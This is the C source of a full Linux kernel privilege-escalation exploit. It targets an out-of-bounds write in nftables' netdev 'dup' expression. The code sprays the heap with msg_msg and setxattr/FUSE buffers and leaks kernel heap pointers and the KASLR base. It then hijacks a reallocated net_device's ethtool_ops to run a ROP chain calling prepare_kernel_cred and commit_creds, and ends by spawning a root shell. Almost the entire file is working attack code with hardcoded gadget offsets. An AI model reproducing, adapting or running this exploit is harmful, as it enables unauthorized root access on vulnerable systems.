#define _GNU_SOURCE #include "util.h" #include "fakefuse.h" #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include // #define DEBUG #define SPRAY_128 500 #define SPRAY_128_FREE_IDX 400 #define SPRAY_192 500 #define SPRAY_192_FREE_IDX 400 #define SPRAY_4K 1000 #define LEAK_HEAP_MAX_TRIES 10 void shell(); int spray_128_qids[SPRAY_128], spray_192_qids[SPRAY_192], spray_4k_qids[SPRAY_4K]; int child_done = 0; pthread_t thids[SPRAY_4K]; uint64_t setxattr_bufs[SPRAY_4K], setxattr_bufs_2[SPRAY_4K]; const char *spray1_path = "1", *spray2_path = "2"; char *fargs_fuse[] = {"exploit", "/tmp/foo", NULL}; static const struct fuse_operations fuse_ops = { .getattr = fuse_getattr, .readdir = fuse_readdir, .read = fuse_read }; uint64_t child_net_device_leak = -1, net_device_leak = -1; uint64_t kaslr_base; uint64_t stack_pivot_gadget = 0xffffffffae48c7d4 - 0xffffffffae400000; uint64_t pop_pop_pop_ret = 0xffffffffae5aafed - 0xffffffffae400000; uint64_t pop_rdi_ret = 0xffffffffae495040 - 0xffffffffae400000; uint64_t prepare_kernel_cred = 0xffffffffae4d4590 - 0xffffffffae400000; uint64_t commit_creds = 0xffffffffae4d4330 - 0xffffffffae400000; uint64_t xor_dh_dh_ret = 0xffffffffae908f19 - 0xffffffffae400000; uint64_t mov_rdi_rax_jne_ret = 0xffffffffae9c01f4 - 0xffffffffae400000; uint64_t pop_r12_pop_r15_ret = 0xffffffffae49503d - 0xffffffffae400000; uint64_t kpti_trampoline_pop_rax_pop_rdi_swapgs_iretq = 0xffffffffaf201006 - 0xffffffffae400000; uint64_t user_cs, user_ss, user_sp, user_rflags, user_rip = (uint64_t)shell; void vuln(int oob_writes, int legit_writes) { // setup table struct nftnl_table *table = nftnl_table_alloc(); nftnl_table_set_str(table, NFTNL_TABLE_NAME, "x"); nftnl_table_set_u32(table, NFTNL_TABLE_FLAGS, 0); // chain struct nftnl_chain *chain = nftnl_chain_alloc(); nftnl_chain_set_str(chain, NFTNL_CHAIN_TABLE, "x"); nftnl_chain_set_str(chain, NFTNL_CHAIN_NAME, "y"); nftnl_chain_set_u32(chain, NFTNL_CHAIN_HOOKNUM, NF_NETDEV_INGRESS); nftnl_chain_set_u32(chain, NFTNL_CHAIN_PRIO, 10); nftnl_chain_set_str(chain, NFTNL_CHAIN_DEV, "lo"); nftnl_chain_set_str(chain, NFTNL_CHAIN_TYPE, "filter"); struct nftnl_rule *rule = nftnl_rule_alloc(); nftnl_rule_set_str(rule, NFTNL_RULE_TABLE, "x"); nftnl_rule_set_str(rule, NFTNL_RULE_CHAIN, "y"); struct nftnl_expr *exprs[128]; int exprid = 0; exprs[exprid] = nftnl_expr_alloc("meta"); nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_META_KEY, NFT_META_PROTOCOL); nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_META_DREG, NFT_REG_1); nftnl_rule_add_expr(rule, exprs[exprid]); exprid++; exprs[exprid] = nftnl_expr_alloc("cmp"); nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_CMP_SREG, NFT_REG_1); nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_CMP_OP, NFT_CMP_EQ); nftnl_expr_set_u16(exprs[exprid], NFTNL_EXPR_CMP_DATA, 8); nftnl_rule_add_expr(rule, exprs[exprid]); exprid++; exprs[exprid] = nftnl_expr_alloc("payload"); nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_PAYLOAD_BASE, NFT_PAYLOAD_NETWORK_HEADER); nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_PAYLOAD_OFFSET, 16); nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_PAYLOAD_LEN, 4); nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_PAYLOAD_DREG, NFT_REG_1); nftnl_rule_add_expr(rule, exprs[exprid]); exprid++; exprs[exprid] = nftnl_expr_alloc("cmp"); nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_CMP_SREG, NFT_REG_1); nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_CMP_OP, NFT_CMP_EQ); nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_CMP_DATA, 0x0200007f); nftnl_rule_add_expr(rule, exprs[exprid]); exprid++; // with these we can control the targeted kmalloc size for(int i = 0; i < legit_writes; i++) { exprs[exprid] = nftnl_expr_alloc("immediate"); nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DREG, NFT_REG_1); nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DATA, 1); nftnl_rule_add_expr(rule, exprs[exprid]); exprid++; exprs[exprid] = nftnl_expr_alloc("dup"); nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1); nftnl_rule_add_expr(rule, exprs[exprid]); exprid++; } // oob writes for (int unaccounted_dup = 0; unaccounted_dup < oob_writes; unaccounted_dup++) { exprs[exprid] = nftnl_expr_alloc("dup"); nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1); nftnl_rule_add_expr(rule, exprs[exprid]); exprid++; } // serialize char buf[MNL_SOCKET_BUFFER_SIZE]; struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(buf, sizeof(buf)); int seq = 0; nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); mnl_nlmsg_batch_next(batch); struct nlmsghdr *nlh; nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, NFPROTO_NETDEV, 0, seq++); nftnl_table_nlmsg_build_payload(nlh, table); mnl_nlmsg_batch_next(batch); nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, NFPROTO_NETDEV, NLM_F_CREATE, seq++); nftnl_chain_nlmsg_build_payload(nlh, chain); mnl_attr_put_u32(nlh, NFTA_CHAIN_FLAGS, htonl(2)); mnl_nlmsg_batch_next(batch); nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, NFPROTO_NETDEV, NLM_F_CREATE | NLM_F_APPEND, seq++); nftnl_rule_nlmsg_build_payload(nlh, rule); mnl_nlmsg_batch_next(batch); nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); mnl_nlmsg_batch_next(batch); struct mnl_socket *nl = mnl_socket_open(NETLINK_NETFILTER); if (nl == NULL) { err(1, "mnl_socket_open"); } if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { err(1, "mnl_socket_send"); } } /* 4k spray using setxattr */ // Setup setxattr spray to leak kaslr void setup_setxattr() { uint64_t mmap_addr = 0x50000000; system("touch /tmp/foo.txt"); int fd = open("/tmp/foo/1", O_RDWR); if (fd < 0) { perror("open() failed"); exit(-1); } for (int i = 0; i < SPRAY_4K; i++) { setxattr_bufs[i] = (uint64_t)mmap((void*)mmap_addr, 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, -1, 0); if (setxattr_bufs[i] != (uint64_t)mmap_addr) { perror("[!] setup_setxattr(): mmap error 1"); exit(1); } memset((void*)(setxattr_bufs[i]), 0x42, 0x1000); memset(((void*)(setxattr_bufs[i])) + 0x1000 - 700, 0x0, 700); ((uint64_t*)(setxattr_bufs[i]))[2] = 0x6f6c; // dev->name = "lo" ((uint64_t*)(setxattr_bufs[i]))[104] = child_net_device_leak + 0xc8; // set dev_addr ptr ((uint64_t*)(setxattr_bufs[i]))[78] = 0x0808080800000000; // set addr_len to '0x08' ((uint64_t*)(setxattr_bufs[i]))[28] = 0x42424242; // ifindex if(((uint64_t)mmap((void*)(setxattr_bufs[i]+0x1000), 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED|MAP_FIXED, fd, 0)) != (setxattr_bufs[i] + 0x1000)) { perror("[!] setup_setxattr(): mmap error 2"); exit(1); } mmap_addr += 0x2000; } } void *setxattr_sprayer(void *i) { setxattr("/tmp/foo.txt", "user.spray", (void*)setxattr_bufs[*(int*)i]+16, 0x1000, XATTR_CREATE); } void spray_4k() { for (int i = 0; i < SPRAY_4K; i++) { int* arg = malloc(sizeof(int)); *arg = i; pthread_create(&thids[i], NULL, setxattr_sprayer, arg); } } /* */ /* 4k spray using setxattr - 2 */ // Setup setxattr spray to rop void setup_setxattr_2() { uint64_t mmap_addr = 0x60000000; system("touch /tmp/foo.txt"); int fd = open("/tmp/foo/2", O_RDWR); if (fd < 0) { perror("open() failed"); exit(-1); } for (int i = 0; i < SPRAY_4K; i++) { setxattr_bufs_2[i] = (uint64_t)mmap((void*)mmap_addr, 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, -1, 0); if (setxattr_bufs_2[i] != (uint64_t)mmap_addr) { perror("[!] setup_setxattr_2(): mmap error 1"); exit(1); } memset((void*)(setxattr_bufs_2[i]), 0x42, 0x1000); memset(((void*)(setxattr_bufs_2[i])) + 0x1000 - 700, 0x0, 700); int k = 2; ((uint64_t*)(setxattr_bufs_2[i]))[k++] = 0x6f6c; // dev->name = "lo" ((uint64_t*)(setxattr_bufs_2[i]))[k++] = 0x4444444444444444; ((uint64_t*)(setxattr_bufs_2[i]))[k++] = kaslr_base + pop_rdi_ret; ((uint64_t*)(setxattr_bufs_2[i]))[k++] = 0x0; // rdi ((uint64_t*)(setxattr_bufs_2[i]))[k++] = kaslr_base + prepare_kernel_cred; ((uint64_t*)(setxattr_bufs_2[i]))[k++] = kaslr_base + xor_dh_dh_ret; ((uint64_t*)(setxattr_bufs_2[i]))[k++] = kaslr_base + pop_pop_pop_ret; ((uint64_t*)(setxattr_bufs_2[i]))[k++] = 0xffffffffffffffff; ((uint64_t*)(setxattr_bufs_2[i]))[k++] = 0xffffffffffffffff; ((uint64_t*)(setxattr_bufs_2[i]))[k++] = kaslr_base + mov_rdi_rax_jne_ret; ((uint64_t*)(setxattr_bufs_2[i]))[k++] = kaslr_base + commit_creds; ((uint64_t*)(setxattr_bufs_2[i]))[k++] = kaslr_base + kpti_trampoline_pop_rax_pop_rdi_swapgs_iretq; ((uint64_t*)(setxattr_bufs_2[i]))[k++] = 0x0; // rax ((uint64_t*)(setxattr_bufs_2[i]))[k++] = 0x0; // rdi ((uint64_t*)(setxattr_bufs_2[i]))[k++] = user_rip; // user_rip ((uint64_t*)(setxattr_bufs_2[i]))[k++] = user_cs; // user_cs ((uint64_t*)(setxattr_bufs_2[i]))[k++] = user_rflags; // user_rflags ((uint64_t*)(setxattr_bufs_2[i]))[k++] = user_sp; // user_sp ((uint64_t*)(setxattr_bufs_2[i]))[k++] = user_ss; // user_ss ((uint64_t*)(setxattr_bufs_2[i]))[28] = 0x43434343; // ifindex ((uint64_t*)(setxattr_bufs_2[i]))[68] = (net_device_leak + 0x218) - 0xc8; // *ethtool_ops ptr ((uint64_t*)(setxattr_bufs_2[i]))[69] = kaslr_base + stack_pivot_gadget; // *func ptr if(((uint64_t)mmap((void*)(setxattr_bufs_2[i]+0x1000), 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED|MAP_FIXED, fd, 0)) != (setxattr_bufs_2[i] + 0x1000)) { perror("[!] setup_setxattr_2(): mmap error 2"); exit(1); } mmap_addr += 0x2000; } } void *setxattr_sprayer_2(void *i) { if(setxattr("/tmp/foo.txt", "user.spray", (void*)setxattr_bufs_2[*(int*)i]+16, 0x1000, XATTR_CREATE) == -1) { perror("setxattr"); exit(1); } } void spray_4k_2() { for (int i = 0; i < SPRAY_4K; i++) { int* arg = malloc(sizeof(int)); *arg = i; pthread_create(&thids[i], NULL, setxattr_sprayer_2, arg); } } /* */ /* 128 spray using msg_msg */ void spray_128() { char buffer[0x4000] = {0}; msg *message = (msg *)buffer; memset(buffer, 0x41, sizeof(buffer)); for (int i = 0; i < SPRAY_128; i++) { int spray = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT); send_msg(spray, message, 128 - 0x30, 0); spray_128_qids[i] = spray; } } /* */ /* 192 spray using msg_msg */ void spray_192() { char buffer[0x4000] = {0}; msg *message = (msg *)buffer; memset(buffer, 0x41, sizeof(buffer)); for (int i = 0; i < SPRAY_192; i++) { int spray = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT); send_msg(spray, message, 192 - 0x30, 0); spray_192_qids[i] = spray; } } void delete_192(int i) { char buf[0x1000] = {0}; get_msg(spray_192_qids[i], buf, 192 - 0x30, 0, IPC_NOWAIT | MSG_NOERROR); } /* */ /* 128 spray using msg_msgseg */ void spray_128_msgseg() { char buffer[0x4000] = {0}; msg *message = (msg *)buffer; memset(buffer, 0x41, sizeof(buffer)); for (int i = 0; i < SPRAY_128; i++) { int spray = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT); // this will allocate a 4k msg_msg and a 128 msg_msgseg send_msg(spray, message, 0x1080 - 0x40, 0); spray_128_qids[i] = spray; } } void delete_128(int i) { char buf[0x1000] = {0}; get_msg(spray_128_qids[i], buf, 128 - 0x30, 0, IPC_NOWAIT | MSG_NOERROR); } /* */ void rop() { struct ethtool_cmd ecmd; struct ifreq ifr; int fd; memset(&ecmd, 0, sizeof(ecmd)); memset(&ifr, 0, sizeof(ifr)); if ((fd = socket(AF_INET, SOCK_DGRAM, 0)) < 0) { perror("socket()"); exit(1); } ecmd.cmd = ETHTOOL_GSET; ifr.ifr_data = (caddr_t)&ecmd; strncpy(ifr.ifr_name, "lo", IF_NAMESIZE); ifr.ifr_name[IF_NAMESIZE-1] = '\0'; if (!(ioctl(fd, SIOCETHTOOL, &ifr) < 0)) { perror("ioctl(SIOCETHTOOL)"); exit(1); } puts("[+] ioctl(SIOCETHTOOL) done"); } uint64_t check_heap_leak() { char buffer[0x4000] = {0}; uint64_t leak = -1; for (int i = 0; i < SPRAY_128; i++) { if(i == SPRAY_128_FREE_IDX) continue; get_msg(spray_128_qids[i], buffer, 0x1080 - 0x40, 0, IPC_NOWAIT); if((((uint64_t*)buffer)[507] & 0xffff000000000000) == 0xffff000000000000) leak = ((uint64_t*)buffer)[507]; } return leak; } uint64_t do_heap_leak() { int i = 0; uint64_t leak; do { #ifdef DEBUG printf("[*] leak net_device try no. %d\n", ++i); #endif spray_128_msgseg(); delete_128(SPRAY_128_FREE_IDX); vuln(1, 1); leak = check_heap_leak(); } while ((leak == -1) && (i < LEAK_HEAP_MAX_TRIES)); return leak; } int child(void *a) { child_net_device_leak = do_heap_leak(); child_done = 1; sleep(10000); } void leak_heap(int leak_child) { // Leak child's net_device struct if (leak_child) { void* stack = malloc(200000); int tid = clone(child, stack + 200000, CLONE_VM|CLONE_NEWUSER|CLONE_NEWNET, NULL); // Wait for child to exit while(!child_done) { sleep(1); } free(stack); if(child_net_device_leak == -1) { puts("[!] couldn't leak child's net_device ptr"); exit(1); } } else { // Leak parent's net_device struct net_device_leak = do_heap_leak(); if(net_device_leak == -1) { puts("[!] couldn't leak parent's net_device ptr"); exit(1); } } } uint64_t kaslr_leak() { struct ifreq *leak = calloc(1, 0x1000); strcpy(leak->ifr_name, "lo"); int fd = socket(PF_INET, SOCK_DGRAM, IPPROTO_IP); if(!fd) { perror("socket()"); exit(1); } if(ioctl(fd, SIOCGIFHWADDR, leak) != 0) { perror("ioctl(SIOCGIFHWADDR)"); exit(1); } uint64_t kaslr_leak = ((uint64_t*)leak->ifr_addr.sa_data)[0]; if((kaslr_leak & 0xffffffff00000000) == 0xffffffff00000000) return kaslr_leak; return -1; } void shell() { // thanks movaps syscall(SYS_execve, "/bin/sh", 0, 0); } void save_state() { __asm__( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ".att_syntax;" ); } int free_netdevice() { char buf[0x300]; spray_192(); delete_192(SPRAY_192_FREE_IDX); vuln(6, 2); for(int i = 0; i < SPRAY_192; i++) { if (i == SPRAY_192_FREE_IDX) continue; get_msg(spray_192_qids[i], buf, 192 - 0x30, 0, IPC_NOWAIT | MSG_NOERROR); if(((uint64_t*)buf)[0] == 0x4141414100000005) { return 0; } } return -1; } int main(int argc, char **argv) { // Unshare if (geteuid() != 0) { char *args[] = { "unshare", "-Urnm", argv[0], NULL, }; execvp("unshare", args); err(1, "unshare re-exec"); } // Assign to cpu 0 cpu_set_t my_set; CPU_ZERO(&my_set); CPU_SET(0, &my_set); if (sched_setaffinity(0, sizeof(cpu_set_t), &my_set) == -1) { perror("sched_setaffinity()"); exit(1); } // Setup FUSE mkdir(MNT_PATH, 0777); pipe(spray1_pipes); int pid = fork(); if (!pid) { fuse_main(sizeof(fargs_fuse) / sizeof(char *) - 1 , fargs_fuse, &fuse_ops, NULL); puts("[!] END OF FUSE MAIN 1"); sleep(500); } sleep(2); // Wait for fuse_main // Save state to return to userland save_state(); /* 1. Leak heap */ puts("[*] STEP 1: Leak child and parent net_device"); leak_heap(0); printf("[+] parent net_device ptr: 0x%lx\n", net_device_leak); leak_heap(1); printf("[+] child net_device ptr: 0x%lx\n", child_net_device_leak); // Setup 4k setxattr buffer to later realloc net_device and leak kaslr setup_setxattr(); /* 2. Free net_device */ puts("\n[*] STEP 2: Spray kmalloc-192, overwrite msg_msg.security ptr and free net_device"); int freed = 0; for (int i = 0; i < 20; i++) { #ifdef DEBUG printf("[*] free net_device try no. %d\n", i); #endif if(free_netdevice() != -1) { freed = 1; break; } // usleep(500000); } if(!freed) { puts("[!] couldn't free net_device"); exit(1); } puts("[+] net_device struct freed"); // sleep(2); /* 3. Reallocate net_device */ puts("\n[*] STEP 3: Spray kmalloc-4k using setxattr + FUSE to realloc net_device"); spray_4k(); sleep(2); if(if_nametoindex("lo") == 0x42424242) { puts("[+] obtained net_device struct"); } else { puts("[!] couldn't realloc net_device struct"); exit(1); } /* 4. Leak kaslr */ puts("\n[*] STEP 4: Leak kaslr"); // Leak kaslr if((kaslr_base = kaslr_leak()) == -1) { puts("[!] couldn't leak kaslr"); exit(1); } printf("[*] kaslr leak: 0x%lx\n", kaslr_base); kaslr_base -= 0x130a420; printf("[*] kaslr base: 0x%lx\n", kaslr_base); /* 5. Free net_device and realloc it */ puts("\n[*] STEP 5: Release setxattrs, free net_device, and realloc it again"); char buf[SPRAY_4K] = {0}; write(spray1_pipes[1], buf, sizeof(buf)); for (int i = 0; i < SPRAY_4K; i++) pthread_join(thids[i], NULL); // Setup 4k setxattr buffers to realloc net_device and start rop setup_setxattr_2(); spray_4k_2(); sleep(2); if(if_nametoindex("lo") == 0x43434343) { puts("[+] obtained net_device struct"); } else { puts("[!] couldn't realloc net_device struct"); exit(1); } /* 6. Roppp :) */ puts("\n[*] STEP 6: rop :)"); rop(); return 0; }